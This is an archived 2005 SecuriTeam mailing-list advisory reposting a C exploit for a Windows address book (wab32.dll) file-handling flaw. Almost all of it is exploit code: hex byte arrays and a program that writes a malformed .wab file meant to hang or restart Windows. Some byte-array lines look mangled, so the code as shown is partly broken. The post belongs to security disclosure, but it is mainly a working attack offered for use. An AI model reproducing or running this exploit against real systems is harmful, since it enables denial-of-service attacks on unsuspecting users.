

[EXPL] Microsoft Windows WAB DoS

Source: <http://www.derkeiler.com/Mailing-Lists/Securiteam/2005-03/0117.html>

From: SecuriTeam (*support_at_securiteam.com*)

Date: 03/24/05

To: list@securiteam.com

Date: 24 Mar 2005 17:53:57 +0200

The following security advisory is sent to the securiteam mailing list, and can be found at the SecuriTeam web site: <http://www.securiteam.com>

-- promotion

The SecuriTeam alerts list – Free, Accurate, Independent.

Get your security news from a reliable source.

<http://www.securiteam.com/maillinglist.html>

Microsoft Windows WAB DoS

SUMMARY

WAB files are address and contact database files used by Microsoft Windows. The following exploit creates a .WAB file that can cause Windows to hang or even restart itself.

DETAILS

Exploit:

/*

////////////////////////////////////

////////////////////////////////////

///-

///- address book(wab32.dll)::>> *.wab file Handling Vulnerability

///-

///- Coded by : Arabteam2000

///- Web: www.arabteam2000.com

///-

////////////////////////////////////

////////////////////////////////////

for more information see (AT2000 Assembly forum)

<http://www.arabteam2000-forum.com/index.php?showforum=79>

-
-
*/

```
#include <stdio.h>  
#include <string.h>  
#include <malloc.h>
```

```
unsigned char wabfilehdr1[]=  
"\x9C\xCB\xCB\x8D\x13\x75\xD2\x11\x91\x58\x00\xC0\x4F\x79\x56\xA4"  
"\x00\x00\x00\x00\x14\x00\x00\x00\xA0\x0F\x00\x00\x18\x00\x00\x00"  
"\xA4\x08\x00\x00\x03\x00\x00\x00\xD0\x84\x00\x00\xCC\x00\x00\x00"  
"\x44\x18\x00\x00\x03\x00\x00\x00\xD0\x84\x00\x00\x00\x00\x00"  
"\x14\x9D\x00\x00\x00\x00\x00\x00\xD0\x84\x00\x00\x44\x00\x00\x00"  
"\xE4\x21\x01\x00\x01\x00\x00\x00\xD0\x84\x00\x00\x00\x00\x00"  
"\xB4xA6\x01\x00\x00\x00\x00\x00\xD0\x84\x00\x00\x00\x00\x00"  
"\x84\x2B\x02\x00\x00\x00\x00\x00\x03\x00\x00\x00\xF4\x01\x00\x00"  
"\x00\x00\x00\x00\x00\x08\x00\x00\xDE\x01\x00\x00\xA4\x00\x00\x00"  
"\x03\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"  
"\x00\x00\x00\x00\x04\x20\x06\x00\x00\x00\x00\x00\xC0\x00\x00\x00"  
"\x00\x00\x00\x46\x08\x00\x00\x00\x00\x00\x00\x80\x0E\x00\x00\x00"  
"\x01\x00\x33\x00\x32\x00\x38\x00\x35\x00\x34\x00\x00\x00\x00\x00"  
"\x01\x80\x0E\x00\x00\x00\x01\x00\x33\x00\x32\x00\x38\x00\x35\x00"  
"\x35\x00\x00\x00\x00\x00\x02\x80\x0E\x00\x00\x00\x01\x00\x33\x00"  
"\x32\x00\x38\x00\x35\x00\x36\x00\x00\x00\x00\x00\x03\x80\x0E\x00"  
"\x00\x00\x01\x00\x33\x00\x32\x00\x38\x00\x35\x00\x37\x00\x00\x00"  
"\x00\x00\x0E\x80\x0E\x00\x00\x00\x01\x00\x33\x00\x32\x00\x38\x00"  
"\x31\x00\x32\x00\x00\x00\x00\x00\x0F\x80\x0E\x00\x00\x00\x01\x00"  
"\x33\x00\x32\x00\x38\x00\x31\x00\x33\x00\x00\x00\x00\x00\x10\x80"  
"\x0E\x00\x00\x00\x01\x00\x33\x00\x32\x00\x38\x00\x31\x00\x34\x00"  
"\x00\x00\x00\x00\x11\x80\x0E\x00\x00\x00\x01\x00\x33\x00\x32\x00"  
"\x38\x00\x30\x00\x32\x00\x00\x00\x81\x32\x84\xC1\x85\x05\xD0\x11"  
"\xB2\x90\x00\xAA\x00\x3C\xF6\x76\x0A\x00\x00\x00\x00\x00\x04\x80"  
"\x0E\x00\x00\x00\x01\x00\x33\x00\x32\x00\x37\x00\x36\x00\x39\x00"  
"\x00\x00\x00\x00\x05\x80\x0E\x00\x00\x00\x01\x00\x33\x00\x32\x00"  
"\x37\x00\x37\x00\x30\x00\x00\x00\x00\x06\x80\x0E\x00\x00\x00"  
"\x01\x00\x33\x00\x32\x00\x37\x00\x37\x00\x31\x00\x00\x00\x00\x00"  
"\x07\x80\x0E\x00\x00\x00\x01\x00\x33\x00\x32\x00\x37\x00\x37\x00"  
"\x32\x00\x00\x00\x00\x00\x08\x80\x0E\x00\x00\x00\x01\x00\x33\x00"  
"\x32\x00\x37\x00\x37\x00\x33\x00\x00\x00\x00\x00\x09\x80\x0E\x00"  
"\x00\x00\x01\x00\x33\x00\x32\x00\x37\x00\x37\x00\x34\x00\x00\x00"  
"\x00\x00\x0A\x80\x0E\x00\x00\x00\x01\x00\x33\x00\x32\x00\x37\x00"  
"\x37\x00\x35\x00\x00\x00\x00\x00\x0B\x80\x0E\x00\x00\x00\x01\x00"  
"\x33\x00\x32\x00\x37\x00\x37\x00\x36\x00\x00\x00\x00\x00\x0C\x80"  
"\x0E\x00\x00\x00\x01\x00\x33\x00\x32\x00\x37\x00\x37\x00\x37\x00"  
"\x00\x00\x00\x00\x0D\x80\x0E\x00\x00\x00\x01\x00\x33\x00\x32\x00"  
"\x37\x00\x37\x00\x38\x00\x00\x00\xE0\x7E\xAD\x2B\xAB\x36\xD1\x11"  
"\x9B\xAC\x00\xA0\xC9\x1F\x9C\x8B\x01\x00\x00\x00\x00\x00\x12\x80"  
"\x0E\x00\x00\x00\x4D\x00\x73\x00\x67\x00\x72\x00\x49\x00\x44\x00";
```

Securiteam: [EXPL] Microsoft Windows WAB DoS

```
//offest:8A4
unsigned char wabfilehdr2[]=
"\x02\x00\x00\x00\x54\xB0\x02\x00\x0E\x00\x00\x00"
"\x2B\xB2\x02\x00\x14\x00\x00\x00\x97\xB3\x02";
```

```
//offest:1844
unsigned char wabfilehdr3[]=
"\x4D\x00\x61\x00\x69\x00\x6E\x00\x20\x00\x49\x00\x64"
"\x00\x65\x00\x6E\x00\x74\x00\x69\x00\x74\x00\x79\x00"
"\x27\x00\x73\x00\x20\x00"
"\x43\x00\x6F\x00\x6E\x00\x74\x00\x61\x00\x63\x00\x74"
"\x00\x73\x00\x00\x00\xD4\x00\x78\x01\xD4\x00\x20\x02"
"\x00\x00\x00\x00\x00\x00"
"\x02\x00\x00\x00\x76\x00\x76\x00\x76\x00\x76\x00\x27"
"\x00\x73\x00\x20\x00\x43\x00\x6F\x00\x6E\x00\x74\x00"
"\x61\x00\x63\x00\x74\x00"
"\x73\x00\x00\x00\x1C\xEC\x06\x00\x03\x00\x00\x00\x74"
"\x1F\x0E\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00"
"\x00\x00\x78\x00\x00\x00"
"\x23\x00\x00\x00\x0E\x00\x00\x00\x78\x00\x78\x00\x78"
"\x00\x78\x00\x78\x00\x78\x00\x78\x00\x78\x00"
"\x78\x00\x78\x00\x78\x00"
"\x78\x00\x78\x00\x78\x00\x78\x00\x78\x00\x78"
"\x00\x78\x00\x78\x00\x78\x00\x78\x00\x78\x00"
"\x78\x00\x78\x00\x00\x00"
"\xF0\xF1\x06\x00\xA7\x23\x23\x77\x14";
```

```
//offest:121e4
unsigned char wabfilehdr4[]="\x78"
"\x00\x78\x00\x78\x00\x78\x00\x78\x00\x78\x00\x78\x00\x78"
"\x00\x78\x00\x78\x00\x78\x00\x78\x00\x78\x00\x78"
"\x00\x78\x00\x78"
"\x00\x78\x00\x78\x00\x78\x00\x78\x00\x78\x00\x78\x00\x78"
"\x00\x78\x00\x78\x00\x78\x00\x00\x00\x00\x00\x00\x00\xB3"
"\x16\xF5\x77\x14";
```

```
//offest:2B054
unsigned char bug[]=
"\x01\x00\x00\x00\x03\x00\x00\x00\x02\x00\x00\x00\x09\x00"
"\x00\x00\x20\x00\x00\x00\x24\x00\x00\x00\x24\x00\x00\x00"
"\x93\x01\x00\x00"
"\x40\x00\x08\x30\x02\x01\xFF\x0F\x1F\x00\x01\x30\x03\x00"
"\xFE\x0F\x02\x11\x00\x66\x03\x00\x0C\x80\x1F\x00\x0D\x80"
"\x02\x11\x05\x80"
"\x1F\x00\x04\x80\x40\x00\x08\x30\x08\x00\x00\x00\x90\x4A"
"\xF0\x1A\x84\x25\xC5\x01\x02\x01\xFF\x0F\x04\x00\x00\x00"
"\x02\x00\x00\x00"
"\x1F\x00\x01\x30\x32\x00\x00\x00\x4D\x00\x61\x00\x69\x00"
"\x6E\x00\x20\x00\x49\x00\x64\x00\x65\x00\x6E\x00\x74\x00"
```

Securiteam: [EXPL] Microsoft Windows WAB DoS

```
"\x69\x00\x74\x00"  
"\x79\x00\x27\x00\x73\x00\x20\x00\x43\x00\x6F\x00\x6E\x00"  
"\x74\x00\x61\x00\x63\x00\x74\x00\x73\x00\x00\x00\x03\x00"  
"\xFE\x0F\x04\x00"  
"\x00\x00\x06\x00\x00\x00\x02\x11\x00\x66\x08\x00\x00\x00"  
"\x3C\x00\x00\x00\x00\x00\x00\x04\x00\x00\x00\x03\x00"  
"\x00\x00\x04\x00"  
"\x00\x00\x04\x00\x00\x00\x04\x00\x00\x00\x08\x00\x00\x00"  
"\x04\x00\x00\x00\x09\x00\x00\x00\x04\x00\x00\x00\x0A\x00"  
"\x00\x00\x04\x00"  
"\x00\x00\x10\x00\x00\x00\x04\x00\x00\x00\x12\x00\x00\x00"  
"\x03\x00\x0C\x80\x04\x00\x00\x00\x00\x00\x00\x1F\x00"  
"\x0D\x80\x4E\x00"  
"\x00\x00\x7B\x00\x46\x00\x41\x00\x33\x00\x45\x00\x42\x00"  
"\x33\x00\x41\x00\x37\x00\x2D\x00\x36\x00\x44\x00\x39\x00"  
"\x45\x00\x2D\x00"  
"\x34\x00\x46\x00\x34\x00\x44\x00\x2D\x00\x42\x00\x36\x00"  
"\x33\x00\x43\x00\x2D\x00\x41\x00\x41\x00\x31\x00\x35\x00"  
"\x31\x00\x43\x00"  
"\x44\x00\x30\x00\x33\x00\x30\x00\x39\x00\x46\x00\x7D\x00"  
"\x00\x00\x02\x11\x05\x80\x02\x00\x00\x00\x25\x00\x00\x00"  
"\x00\x00\x00\x00"  
"\x1D\x00\x00\x00\x00\x00\x00\x00\xC0\x91\xAD\xD3\x51\x9D"  
"\xCF\x11\xA4\xA9\x00\xAA\x00\x47\xFA\xA4\x07\x04\x00\x00"  
"\x00\x0C\x00\x00"  
"\x00\x1F\x00\x04\x80\x4E\x00\x00\x00\x7B\x00\x46\x00\x41"  
"\x00\x33\x00\x45\x00\x42\x00\x33\x00\x41\x00\x37\x00\x2D"  
"\x00\x36\x00\x44"  
"\x00\x39\x00\x45\x00\x2D\x00\x34\x00\x46\x00\x3  
4\x00\x44\x00\x2D\x00\x42\x00\x36\x00\x33\x00\x43\x00\x2D"  
"\x00\x41\x00\x41\x00\x31"  
"\x00\x35\x00\x31\x00\x43\x00\x44\x00\x30\x00\x33\x00\x30"  
"\x00\x39\x00\x46\x00\x7D";
```

```
int main(int argc, char* argv[])  
{  
    char* buf;  
    FILE *wabfile;  
    unsigned char hungbug[1071];  
    int i;  
    ///////////////////////////////////  
    printf("\n\n address book(wab32.dll)::>> *.wab file Handling  
Vulnerability \n");  
    printf(" ~~~~~~\n");  
    printf(" Coded by : Arabteam2000 \n");  
    printf(" Web: www.arabteam2000.com \n");  
    printf(" ~~~~~~\n\n");  
    ///////////////////////////////////  
    //Allocates memory  
    buf=(char*)malloc(0x2B483);
```

Securiteam: [EXPL] Microsoft Windows WAB DoS

```
if(buf==NULL){
    printf("-Error: malloc \n");
    return 1;
}
for(i=0;i<0x2B483;i++)
    buf[i]=0x0;
for(i=0;i<1071;i++)
    hungbug[i]=0xFF;

// WAB file header
memcpy(buf,
&wabfilehdr1[0],0x27F);
memcpy(buf+0x8A4,
&wabfilehdr2[0],0x17);
memcpy(buf+0x1844,
&wabfilehdr3[0],0xC9);
memcpy(buf+0x121E4,
&wabfilehdr4[0],0x41);
// bug string
memcpy(hungbug,
&bug[0],0x1D4);
memcpy(buf+0x2B054,
&hungbug[0],1071);
////////// Create && Write WAB File
wabfile=fopen("xaddressx.wab","w+b");
if(wabfile==NULL){
    printf("-Error: fopen \n");
    return 1;
}
    fwrite(buf,0x2B483,1,wabfile);
printf("-Created file: xaddressx.wab \n ...OK\n\n",i);
////////// Free Memory
free((void*)buf);
fclose (wabfile);
return 0;
}

//EOF
```

ADDITIONAL INFORMATION

The information has been provided by <<mailto:jaas1001@hotmail.com>> JAAS X 2005.

=====

This bulletin is sent to members of the SecuriTeam mailing list.

To unsubscribe from the list, send mail with an empty subject line and body to:

list-unsubscribe@securiteam.com

In order to subscribe to the mailing list, simply forward this email to: list-subscribe@securiteam.com

Securiteam: [EXPL] Microsoft Windows WAB DoS

=====
=====

DISCLAIMER:

The information in this bulletin is provided "AS IS" without warranty of any kind.

In no event shall we be liable for any damages whatsoever including direct, indirect, incidental, consequential, loss of business profits or special damages.